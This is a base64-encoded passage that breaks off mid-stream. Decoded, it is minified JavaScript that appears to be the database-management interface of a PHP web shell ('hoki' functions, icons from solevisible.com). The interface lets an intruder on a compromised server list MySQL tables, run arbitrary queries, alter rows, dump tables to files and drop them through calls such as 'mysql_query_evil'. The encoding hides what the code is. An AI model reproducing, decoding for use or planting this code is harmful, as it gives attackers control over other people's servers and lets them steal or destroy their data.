b2tpTXlzcWxGaWx0ZXJUYWJsZShlLHQpe3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgYT0iIixpPSIiLGw9KGE9IiIsIiIpO2lmKG51bGwhPWUpYT1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxsPWU
udmFsdWU7ZWxzZSBhPXQudGFyZ2V0LGk9dC5kYl9pZCxsPXQudmFsdWU7bD1uZXcgUmVnRXhwKGwsImkiKSxkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK2krIiAiK2ErIiB1bCA+IGxpIikuZm9yRWFjaChmdW5jdGlvbihlKXt2YXIgdD1lLnF1ZXJ5U2
VsZWN0b3IoIi5teXNxbF90YWJsZXMiKTtpZihudWxsPT10KXJldHVybiExOy0xPT0odD10LmlubmVyVGV4dCkuc2VhcmNoKGwpP2Uuc3R5bGUuZGlzcGxheT0ibm9uZSI6ZS5zdHlsZS5kaXNwbGF5PSJibG9jayJ9KX0sMjAwKX1mdW5jdGlvbiBob
2tpTXlzcWxGaWx0ZXJBbGxUYWJsZShlLHQpe3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXRhYmxlcyBpbnB1dFtuYW1lPWZpbHRlcl9hbGxdIikudmFsdWUsbD1kLnF1ZXJ5U2Vs
ZWN0b3IoIiMiK2ErIiBpbnB1dFtuYW1lPXNxbF9jb3VudF0iKS5jaGVja2VkLHI9W10sbz1bXTtpZihkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK2ErIiAubXlzcWwtdGFibGVzIC5saXN0X2NvbnRhaW5lciIpLmZvckVhY2goZnVuY3Rpb24oZSl7dmF
yIHQ9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9uYW1lIik7Im5vIj09dCYmci5wdXNoKGEpLG8ucHVzaChhKX0pLHIubGVuZ3RoPjApe2lmKDA9PWkubGVuZ3RoJiZ2b2lkIDA9PT10KXJldHVybiExO2hva2lNeX
NxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6clswXSxhamF4X2lkOiJteXNxbF9nZXRfYWxsX3RhYmxlcyIsZGJfaW5mbzp7ZGF0YWJhc2VzOnJ9LHBvc3Q6e2hva2kyOiJsb2FkX2FsbF90YWJsZXMiLGhva2kzOmx9fSxmdW5jdGlvbihyKXtpZigwI
T1yLmxlbmd0aCl7Zm9yKHZhciBvIGluIHI9SlNPTi5wYXJzZShyKSl7dmFyIG49byxzPWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5jbHMtIituKTtob2tpTXlzcWxNYWtlVGJsTGlzdChyW29dLHMsYSxuLGwpfXZvaWQgMD09PXQ/aG9raU15c3Fs
RmlsdGVyVGFibGUobnVsbCx7ZGJfaWQ6YSx0YXJnZXQ6Ii5teXNxbC10YWJsZXMgLmxpc3RfY29udGFpbmVyIix2YWx1ZTppfSk6KGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib3BlbmVkIiksZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXR
hYmxlcyAucGFyZW50LWV4cGFuZGVyIGltZyIpLnNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2JfbWludXMucG5nIil9fSl9ZWxzZSBpZih2b2lkIDA9PT10KWZvcih2YXIgbiBpbiBob2tpTXlzcWxGaWx0ZXJUYWJsZShudW
xsLHtkYl9pZDphLHRhcmdldDoiLm15c3FsLXRhYmxlcyAubGlzdF9jb250YWluZXIiLHZhbHVlOml9KSxvKWhva2lNeXNxbFRhYmxlTW9kZShhLG9bbl0sImNsb3NlZCIpO2Vsc2V7dmFyIHM9IiIsYz1lLmdldEF0dHJpYnV0ZSgibW9kZSIpO2Zvc
ih2YXIgbiBpbiJvcGVuZWQiPT1jPyhlLnNldEF0dHJpYnV0ZSgibW9kZSIsImNsb3NlZCIpLHM9ImJfcGx1cy5wbmciKTooZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvcGVuZWQiKSxzPSJiX21pbnVzLnBuZyIpLG8paG9raU15c3FsVGFibGVNb2Rl
KGEsb1tuXSxjKTtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtdGFibGVzIC5wYXJlbnQtZXhwYW5kZXIgaW1nIikuc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvIitzfX1mdW5jdGlvbiBob2tpTXlzcWxUYWJsZU1
vZGUoZSx0LGEpe3ZhciBpPWQucXVlcnlTZWxlY3RvcigiIyIrZSsiIC5jbHMtIit0KSxsPSIiO3ZvaWQgMD09PWE/KGw9LTEhPWkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImhpZGUtZGItdGFibGVzIik/ImJfbWludXMucG5nIjoiYl9wbHVzLn
BuZyIsaS5jbGFzc0xpc3QudG9nZ2xlKCJoaWRlLWRiLXRhYmxlcyIpKToib3BlbmVkIj09YT8obD0iYl9wbHVzLnBuZyIsaS5jbGFzc0xpc3QuYWRkKCJoaWRlLWRiLXRhYmxlcyIpKToobD0iYl9taW51cy5wbmciLGkuY2xhc3NMaXN0LnJlbW92Z
SgiaGlkZS1kYi10YWJsZXMiKSksZC5xdWVyeVNlbGVjdG9yKCIjIitlKyIgLmNscy0iK3QrIi1leHBhbmRlciBpbWciKS5zcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS8iK2x9ZnVuY3Rpb24gaG9raU15c3FsRXhwYW5kZXIo
ZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1lLmdldEF0dHJpYnV0ZSgic3FsX2NvdW50IiksbD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY2xzLSIrdCk7ImxvYWRlZCI9PWw
uZ2V0QXR0cmlidXRlKCJtb2RlIik/aG9raU15c3FsVGFibGVNb2RlKGEsdCk6aG9raU15c3FsQXBpKHtkYl9pZDphLGRiX3RhcmdldDp0LGFqYXhfaWQ6Im15c3FsX2dldF90YWJsZXMiLHBvc3Q6e2hva2kyOiJsb2FkX3RhYmxlcyIsaG9raTM6aX
19LGZ1bmN0aW9uKGUpezAhPWUubGVuZ3RoJiZob2tpTXlzcWxNYWtlVGJsTGlzdChlPUpTT04ucGFyc2UoZSksbCxhLHQsaSl9KX1mdW5jdGlvbiBob2tpTXlzcWxUYWJsZXNFdmlsKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJ0YXJnZXQiKSxhP
WUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKTsiY2hlY2tlZCI9PWk/KGk9ITEsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJub3QiKSk6KGk9ITAsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJjaGVja2VkIikpLGQu
cXVlcnlTZWxlY3RvckFsbCgiIyIrYSsiICIrdCsiIGlucHV0W25hbWU9dGJsXFxbXFxdXSIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5jaGVja2VkPWl9KX1mdW5jdGlvbiBob2tpTXlzcWxUYWJsZXNEdW1wRHJvcChlKXt2YXIgdD1lLmdldEF0dHJ
pYnV0ZSgidGFyZ2V0IiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPSJub25lIjsiZHVtcCI9PWUudmFsdWUmJihpPSJibG9jayIpLGQucXVlcnlTZWxlY3RvcigiIyIrYSsiICIrdCsiIC5kdW1wLWZpbGUtaG9sZGVyIikuc3R5bGUuZGlzcG
xheT1pfWZ1bmN0aW9uIGhva2lNeXNxbFRhYmxlc0R1bXBEcm9wQnRuKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJ0YXJnZXQiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl90YXJnZXQiKSxpPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGw9W10scj1kL
nF1ZXJ5U2VsZWN0b3IoIiMiK2krIiBpbnB1dFtuYW1lPXNxbF9jb3VudF0iKS5jaGVja2VkLG89ZC5xdWVyeVNlbGVjdG9yKCIjIitpKyIgIit0KSxuPW8ucXVlcnlTZWxlY3Rvcigic2VsZWN0W25hbWU9dGFibGVzX2V2aWxdIikudmFsdWUscz1v
LnF1ZXJ5U2VsZWN0b3IoIi5kdW1wLWZpbGUtaG9sZGVyIGlucHV0IikudmFsdWU7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjIitpKyIgIit0KyIgaW5wdXRbbmFtZT10YmxcXFtcXF1dIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNoZWNrZWQmJmwucHV
zaChlLnZhbHVlKX0pLGwubGVuZ3RoPjAmJmhva2lNeXNxbEFwaSh7ZGJfaWQ6aSxkYl90YXJnZXQ6YSxhamF4X2lkOiJteXNxbF9xdWVyeV9ldmlsIixkYl9pbmZvOnt0YWJsZXM6bCxtb2RlOm4sZHVtcF9maWxlOnN9LHBvc3Q6e2hva2kyOiJkdW
1wX2Ryb3AifX0sZnVuY3Rpb24oZSl7MCE9ZS5sZW5ndGgmJihlPUpTT04ucGFyc2UoZSksImRyb3AiPT1uP2hva2lNeXNxbE1ha2VUYmxMaXN0KGUsbyxpLGEscik6by5xdWVyeVNlbGVjdG9yKCIuZHVtcC1maWxlLWhvbGRlciIpLmluc2VydEFka
mFjZW50SFRNTCgiYmVmb3JlZW5kIiwiPGRpdj48YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLG51bGwsXCIiK3MrJyIsImRvd25sb2FkIik7XCc+PHNwYW4+RG93bmxvYWQ6ICcrcysiPC9zcGFu
PjwvYT48L2Rpdj4iKSl9KX1mdW5jdGlvbiBob2tpTXlzcWxNYWtlVGJsTGlzdChlLHQsYSxpLGwpe3Quc2V0QXR0cmlidXRlKCJtb2RlIiwibG9hZGVkIik7dmFyIHI9Jzx1bD48bGk+PGRpdiBjbGFzcz0iYmxvY2siPjxpPjwvaT48Yj48L2I+PC9
kaXY+PGRpdj48aW5wdXQgc3R5bGU9InBhZGRpbmc6IDA7bWFyZ2luLWxlZnQ6IDExcHg7dGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBjbGFzcz0iZGItb3B0LWlkIiBkYl9pZD0iJythKyciIHBsYWNlaG9sZGVyPSJGaWx0ZXIgVGFibG
UiIHRhcmdldD0iLmNscy0nK2krJyIgb25rZXl1cD0iaG9raU15c3FsRmlsdGVyVGFibGUodGhpcyk7IiBuYW1lPSJmaWx0ZXIiPjwvZGl2PjwvbGk+Jztmb3IodmFyIG8gaW4gZSludWxsIT1lW29dJiYocis9IjxsaT48ZGl2IGNsYXNzPSdibG9ja
yc+PGk+PC9pPjxiPjwvYj48L2Rpdj48ZGl2IGNsYXNzPSd0YWJsZXMtcm93Jz48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIitlW29dLm5hbWUrIic+Jm5ic3A7PGEgY2xhc3M9J2RiLW9wdC1pZCcgZGJfdGFyZ2V0
PSciK2krIicgZGJfaWQ9JyIrYSsiJyBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPVwiaG9raUxvYWRUYWJsZURhdGEodGhpcywgJyIrZVtvXS5uYW1lKyInKVwiPjxzcGFuIGNsYXNzPSdteXNxbF90YWJsZXMnIHN0eWxlPSdmb25
0LXdlaWdodDp1bnNldDsnPiIrZVtvXS5uYW1lKyI8L3NwYW4+PC9hPiIrKGw/IiA8c21hbGw+PHNwYW4gc3R5bGU9J2ZvbnQtd2VpZ2h0OnVuc2V0OycgY2xhc3M9J215c3FsX3RhYmxlX2NvdW50Jz4oIitlW29dLmNvdW50KyIpPC9zcGFuPjwvc2
1hbGw+IjoiJm5ic3A7IikrIjwvZGl2PjwvbGk+Iik7cis9JzwvdWw+PGRpdiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDI2cHg7bWFyZ2luLWJvdHRvbTogMTBweDttYXJnaW4tdG9wOiAxMHB4OyI+PGlucHV0IG9uY2hhbmdlPSJob2tpTXlzcWxUYWJsZ
XNFdmlsKHRoaXMpOyIgZGJfaWQ9IicrYSsnIiBjbGFzcz0iZGItb3B0LWlkIiB0YXJnZXQ9Ii5jbHMtJytpKyciIHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iZGItb3B0LWlkIj48c2VsZWN0IG9uY2hhbmdlPSJob2tpTXlzcWxUYWJsZXNEdW1wRHJv
cCh0aGlzKTsiIGNsYXNzPSJkYi1vcHQtaWQiIGRiX2lkPSInK2ErJyIgdGFyZ2V0PSIuY2xzLScraSsnIiBjbGFzcz0iZGItb3B0LWlkIiBuYW1lPSJ0YWJsZXNfZXZpbCIgc3R5bGU9InBhZGRpbmc6IDA7d2lkdGg6IDEwMHB4OyI+PG9wdGlvbiB
zZWxlY3RlZD5kcm9wPC9vcHRpb24+PG9wdGlvbj5kdW1wPC9vcHRpb24+PC9zZWxlY3Q+IDxidXR0b24gb25jbGljaz0iaG9raU15c3FsVGFibGVzRHVtcERyb3BCdG4odGhpcyk7cmV0dXJuIGZhbHNlOyIgZGJfaWQ9IicrYSsnIiBjbGFzcz0iZG
Itb3B0LWlkIiBkYl90YXJnZXQ9IicraSsnIiB0YXJnZXQ9Ii5jbHMtJytpKyciIGNsYXNzPSJkYi1vcHQtaWQiPkRvIGl0PC9idXR0b24+PGRpdiBjbGFzcz0iZHVtcC1maWxlLWhvbGRlciIgc3R5bGU9ImRpc3BsYXk6bm9uZTttYXJnaW4tbGVmd
DoyMHB4O21hcmdpbi10b3A6IDVweDsiPjxpbnB1dCBzdHlsZT0icGFkZGluZzogMDt0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJkdW1wLnNxbCIgbmFtZT0iZHVtcF9maWxlIj48L2Rpdj48L2Rpdj4nLHQuaW5u
ZXJIVE1MPXIsZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLmNscy0iK2krIi1leHBhbmRlciBpbWciKS5zcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9iX21pbnVzLnBuZyJ9ZnVuY3Rpb24gaG9raU15c3FsUXVlcnkoZSl7dmF
yIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiB0ZXh0YXJlYVtuYW1lPXF1ZXJ5XSIpLnZhbHVlO2hva2lNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YX
JnZXQ6dCxhamF4X2lkOiJteXNxbF9sb2FkX3F1ZXJ5X2RhdGEiLGRiX2luZm86e3F1ZXJ5Oml9LHBvc3Q6e2hva2kyOiJxdWVyeSJ9fSxmdW5jdGlvbihlKXswIT1lLmxlbmd0aCYmKGU9SlNPTi5wYXJzZShlKSxob2tpTXlzcWxSZXBvcnRCdWlsZ
GVyKGEsZSksZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXF1ZXJ5LXRhYmxlIikuaW5uZXJIVE1MPWUuc3RhdHVzP2UudGFibGU6IiIsaG9raU15c3FsVGFiQ3RsKHtjaGlsZDoxLGRiX2lkOmEsdGFyZ2V0OiIubXlzcWwtcXVlcnktcmVz
dWx0LWNvbnRlbnQifSwhMCkpfSl9ZnVuY3Rpb24gaG9raU15c3FsUmVwb3J0QnVpbGRlcihlLHQpe3ZhciBhPSIiO3Quc3RhdHVzfHwoYT0iPGRpdj48c3Bhbj5FcnJvcjogPC9zcGFuPjxkaXYgc3R5bGU9J3BhZGRpbmctbGVmdDogNTBweDsnPjx
wcmU+Iit0LmVycm9yKyI8L3ByZT48L2Rpdj48L2Rpdj4iKTt2YXIgaT0iPGRpdj48c3Bhbj5RdWVyeTo8L3NwYW4+PGRpdiBzdHlsZT0ncGFkZGluZy1sZWZ0OiA1MHB4Oyc+PHByZT4iK3QucXVlcnkrIjwvcHJlPjwvZGl2PiIrYSsiPC9kaXY+Ij
tkLnF1ZXJ5U2VsZWN0b3IoIiMiK2UrIiAubXlzcWwtcXVlcnktcmVwb3J0ZXIiKS5pbm5lckhUTUw9aX1mdW5jdGlvbiBob2tpTXlzcWxUYWJsZVBhbmVsQ3RsKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGE9KHQ9ZS5nZXRBdHRya
WJ1dGUoImRiX2lkIiksZC5xdWVyeVNlbGVjdG9yKCIjIit0KSksaT1hLnF1ZXJ5U2VsZWN0b3IoIi50YWJsZXMtcGFuZWwtY3RsIik7Im5vbmUiPT1pLmdldEF0dHJpYnV0ZSgibW9kZSIpPyhhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC10YWJsZXMi
KS5zdHlsZS5kaXNwbGF5PSJibG9jayIsaS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJibG9jayIpLGkuaW5uZXJIVE1MPSImI3gzQzsmI3gzQzsiLGEucXVlcnlTZWxlY3RvcigiLm15c3FsLXF1ZXJ5LXJlc3VsdHMtZml4ZWQiKS5jbGFzc0xpc3QucmV
tb3ZlKCJteXNxbC1xdWVyeS1yZXN1bHRzLWZpeGVkIikpOihhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC10YWJsZXMiKS5zdHlsZS5kaXNwbGF5PSJub25lIixpLnNldEF0dHJpYnV0ZSgibW9kZSIsIm5vbmUiKSxpLmlubmVySFRNTD0iJiN4M0U7Ji
N4M0U7IixhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC1xdWVyeS1yZXN1bHRzIikuY2xhc3NMaXN0LmFkZCgibXlzcWwtcXVlcnktcmVzdWx0cy1maXhlZCIpKSxpLmNsYXNzTGlzdC50b2dnbGUoInRhYmxlcy1wYW5lbC1jdGwtbWluIil9ZnVuY3Rpb
24gaG9raU15c3FsVGFiQ3RsKGUsdCl7dmFyIGE9dm9pZCAwPT09dD9lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKTplLmRiX2lkLGk9dm9pZCAwPT09dD9lLmdldEF0dHJpYnV0ZSgidGFyZ2V0Iik6ZS50YXJnZXQ7ZC5xdWVyeVNlbGVjdG9yQWxsKCIj
IithKyIgLm15c3FsLXF1ZXJ5LWNvbnRlbnQiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuY2xhc3NMaXN0LmFkZCgibXlzcWwtaGlkZS1jb250ZW50Iil9KSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgLm1
5c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYiIpLmNsYXNzTGlzdC5yZW1vdmUoIm15c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYiIpLHZvaWQgMD09PXQ/ZS5jbGFzc0xpc3QuYWRkKCJteXNxbC1xdWVyeS1zZWxlY3RlZC10YWIiKTpkLnF1ZXJ5U2VsZWN0b3
IoIiMiK2ErIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2Om50aC1jaGlsZCgiK2UuY2hpbGQrIikiKS5jbGFzc0xpc3QuYWRkKCJteXNxbC1xdWVyeS1zZWxlY3RlZC10YWIiKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAiK2kpLmNsYXNzT
GlzdC5yZW1vdmUoIm15c3FsLWhpZGUtY29udGVudCIpfWZ1bmN0aW9uIGhva2lMb2FkVGFibGVEYXRhKGUsdCl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGk9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIik7aG9raU15c3FsQXBpKHtk
Yl9pZDppLGRiX3RhcmdldDphLGFqYXhfaWQ6Im15c3FsX2xvYWRfdGFibGVfZGF0YSIsZGJfaW5mbzp7dGFibGU6dH0scG9zdDp7aG9raTI6ImxvYWRfZGF0YSJ9fSxmdW5jdGlvbihlKXtpZigwIT1lLmxlbmd0aCl7ZT1KU09OLnBhcnNlKGUpO3Z
hciBsPSIiLHI9Ijx0YWJsZSBib3JkZXI9JzEnPjx0ciBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiAjMzA1YjhlO2NvbG9yOiNGRkZGRkY7Jz48dGg+Q29sdW1uPC90aD48dGg+VHlwZTwvdGg+PHRoPlZhbHVlPC90aD
48L3RyPiIsbz0iPHRhYmxlIGJvcmRlcj0nMSc+PHRyIHN0eWxlPSd0ZXh0LWFsaWduOiBsZWZ0O2JhY2tncm91bmQtY29sb3I6ICMzMDViOGU7Y29sb3I6I0ZGRkZGRjsnPjx0aD5Db2x1bW48L3RoPjx0aD5UeXBlPC90aD48dGg+VmFsdWU8L3RoP
jx0aD5DaGFuZ2U8L3RoPjwvdHI+IixuPSI8dGFibGUgYm9yZGVyPScxJz48dHIgc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7YmFja2dyb3VuZC1jb2xvcjogIzMwNWI4ZTtjb2xvcjojRkZGRkZGOyc+PHRoPkNvbHVtbjwvdGg+PHRoPlR5cGU8L3Ro
Pjx0aD5Db2xsYXRpb248L3RoPjx0aD5PcGVyYXRvcjwvdGg+PHRoPlZhbHVlPC90aD48L3RyPiIscz1bImludCIsInNtYWxsaW50IiwiYmlnaW50IiwidGlueWludCIsIm1lZGl1bWludCJdLGM9WyJsb25ndGV4dCIsInRleHQiLCJtZWRpdW10ZXh
0IiwidGlueXRleHQiXTtmb3IodmFyIHUgaW4gZS5jb2x1bW5zKXt2YXIgcD0idGV4dCI7LTEhPXMuaW5kZXhPZihlLmNvbHVtbnNbdV0uZGF0YV90eXBlKSYmKHA9Im51bWJlciIpLG4rPSI8dHI+PHRoIHN0eWxlPSd0ZXh0LWFsaWduOiBsZWZ0Oy
c+IitlLmNvbHVtbnNbdV0ubmFtZSsiPC90aD48dGQ+IitlLmNvbHVtbnNbdV0udHlwZSsiPC90ZD48dGQ+IitlLmNvbHVtbnNbdV0uY29sbGF0aW9uKyI8L3RkPjx0ZD48c2VsZWN0IG5hbWU9JyIrZS5jb2x1bW5zW3VdLm5hbWUrIic+PG9wdGlvb
iB2YWx1ZT0nPSc+PTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9JyE9Jz4hPTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Jz4nPiZndDs8L29wdGlvbj48b3B0aW9uIHZhbHVlPSc+PSc+Jmd0Oz08L29wdGlvbj48b3B0aW9uIHZhbHVlPSc8Jz4mbHQ7PC9v
cHRpb24+PG9wdGlvbiB2YWx1ZT0nPD0nPiZsdDs9PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIj0gJydcIj49ICcnPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiE9ICcnXCI+IT0gJyc8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdMSUtFJz5MSUtFPC9
vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTElLRSAlLi4uJSc+TElLRSAlLi4uJTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J05PVCBMSUtFJz5OT1QgTElLRTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J1JFR0VYUCc+UkVHRVhQPC9vcHRpb24+PG9wdGlvbi
B2YWx1ZT0nUkVHRVhQIF4uLi4kJz5SRUdFWFAgXi4uLiQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdOT1QgUkVHRVhQJz5OT1QgUkVHRVhQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nSU4gKC4uLiknPklOICguLi4pPC9vcHRpb24+PG9wdGlvbiB2Y
Wx1ZT0nTk9UIElOICguLi4pJz5OT1QgSU4gKC4uLik8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdCRVRXRUVOJz5CRVRXRUVOPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTk9UIEJFVFdFRU4nPk5PVCBCRVRXRUVOPC9vcHRpb24+PG9wdGlvbiB2YWx1
ZT0nSVMgTlVMTCc+SVMgTlVMTDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J0lTIE5PVCBOVUxMJz5JUyBOT1QgTlVMTDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSciK3ArIicgbmFtZT0nIitlLmNvbHVtbnNbdV0ubmFtZSs
iJz48L3RkPjwvdHI+Ijt2YXIgZj1ob2tpTXlzcWxMb2FkRGF0YVR5cGUoZS5jb2x1bW5zW3VdLmRhdGFfdHlwZSk7bnVsbD09ZS5jb2x1bW5zW3VdLnR5cGVfdmFsdWUmJihlLmNvbHVtbnNbdV0udHlwZV92YWx1ZT0iIiksbys9Ijx0cj48dGggc3
R5bGU9J3RleHQtYWxpZ246IGxlZnQ7Jz4iK2UuY29sdW1uc1t1XS5uYW1lKyI8L3RoPjx0ZD48c2VsZWN0IG5hbWU9J3NlbF8iK2UuY29sdW1uc1t1XS5uYW1lKyInPiIrZisiPC9zZWxlY3Q+PC90ZD48dGQ+PGlucHV0IG5hbWU9J3ZhbHVlXyIrZ
S5jb2x1bW5zW3VdLm5hbWUrIicgdHlwZT0ndGV4dCcgdmFsdWU9JyIrKC0xPT1jLmluZGV4T2YoZS5jb2x1bW5zW3VdLmRhdGFfdHlwZSk/ZS5jb2x1bW5zW3VdLnR5cGVfdmFsdWU6IiIpKyInPjwvdGQ+PHRkPjxidXR0b24gY29sX25hbWU9JyIr
ZS5jb2x1bW5zW3VdLm5hbWUrIicgdGJsX25hbWU9JyIrdCsiJyBkYl9pZD0nIitpKyInIGRiX3RhcmdldD0nIithKyInIG9uY2xpY2s9J2hva2lNeXNxbEFsdGVyVGJsKHRoaXMpO3JldHVybiBmYWxzZTsnPkNoYW5nZTwvYnV0dG9uPjwvdGQ+PC9
0cj4iO3ZhciBtPSIiO3N3aXRjaChlLmNvbHVtbnNbdV0uZGF0YV90eXBlKXtjYXNlImxvbmd0ZXh0IjpjYXNlInRleHQiOm09Ijx0ZXh0YXJlYSBuYW1lPSciK2UuY29sdW1uc1t1XS5uYW1lKyInIHJvd3M9JzUnPjwvdGV4dGFyZWE+IjticmVhaz
tjYXNlImludCI6Y2FzZSJzbWFsbGludCI6Y2FzZSJiaWdpbnQiOm09IjxpbnB1dCB0eXBlPSdudW1iZXInIG5hbWU9JyIrZS5jb2x1bW5zW3VdLm5hbWUrIicgdmFsdWU9Jyc+IjticmVhaztkZWZhdWx0Om09IjxpbnB1dCB0eXBlPSd0ZXh0JyBuY
W1lPSciK2UuY29sdW1uc1t1XS5uYW1lKyInIHZhbHVlPScnPiJ9cis9Ijx0cj48dGggc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7Jz4iK2UuY29sdW1uc1t1XS5uYW1lKyI8L3RoPjx0ZD4iK2UuY29sdW1uc1t1XS50eXBlKyI8L3RkPjx0ZD4iK20r
IjwvdGQ+PC90cj4ifWlmKHIrPSI8L3RhYmxlPjxkaXYgc3R5bGU9J21hcmdpbi1sZWZ0OjIwcHg7Jz48YnV0dG9uIHRibF9uYW1lPSciK3QrIicgZGJfaWQ9JyIraSsiJyBkYl90YXJnZXQ9JyIrYSsiJyBvbmNsaWNrPSdob2tpTXlzcWxVcGRhdGV
Sb3codGhpcywgXCJpbnNlcnRcIik7cmV0dXJuIGZhbHNlOyc+SW5zZXJ0PC9idXR0b24+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtaW5zZXJ0LXJlc3VsdCc+PC9kaXY+IixvKz0iPC90YWJsZT48ZGl2IGNsYXNzPSdteXNxbC1zdHJ1Y3R1cmUtcX
Jlcyc+PC9kaXY+IixuKz0iPC90YWJsZT48ZGl2IHN0eWxlPSdwYWRkaW5nLWxlZnQ6IDM4NHB4O21hcmdpbi10b3A6IDE1cHg7Jz48YnV0dG9uIHRibF9uYW1lPSciK3QrIicgZGJfaWQ9JyIraSsiJyBkYl90YXJnZXQ9JyIrYSsiJyBvbmNsaWNrP
Sdob2tpTXlzcWxTZWFyY2godGhpcyk7cmV0dXJuIGZhbHNlOyc+U2VhcmNoPC9idXR0b24+PC9kaXY+IixlLnBhZ2VzPjApe2wrPSI8c3BhbiBzdHlsZT0nY3Vyc29yOnBvaW50ZXI7JyBkYl9pZD0nIitpKyInIG9uY2xpY2s9J2hva2lNeXNxbENo
YW5nZVBhZ2UodGhpcywxKTsnPjw8PC9zcGFuPiA8c3Bhbj4gcGFnZTogPC9zcGFuPiA8c2VsZWN0IHRibF9uYW1lPSciK3QrIicgZGJfdGFyZ2V0PSciK2ErIicgbmFtZT0nbXlzcWwtcS1wYWdlcycgZGJfaWQ9JyIraSsiJyBjbGFzcz0nZGItb3B
0LWlkJyBvbmNoYW5nZT0naG9raU15c3FsQ2hhbmdlUGFnZSh0aGlzKTsnIHBhZ2VzPSciK2UucGFnZXMrIic+Ijtmb3IodmFyIGI9MTtiPGUucGFnZXMrMTtiKyspbCs9IjxvcHRpb24+IitiKyI8L29wdGlvbj4iO2wrPSI8L3NlbGVjdD48c3Bhbj
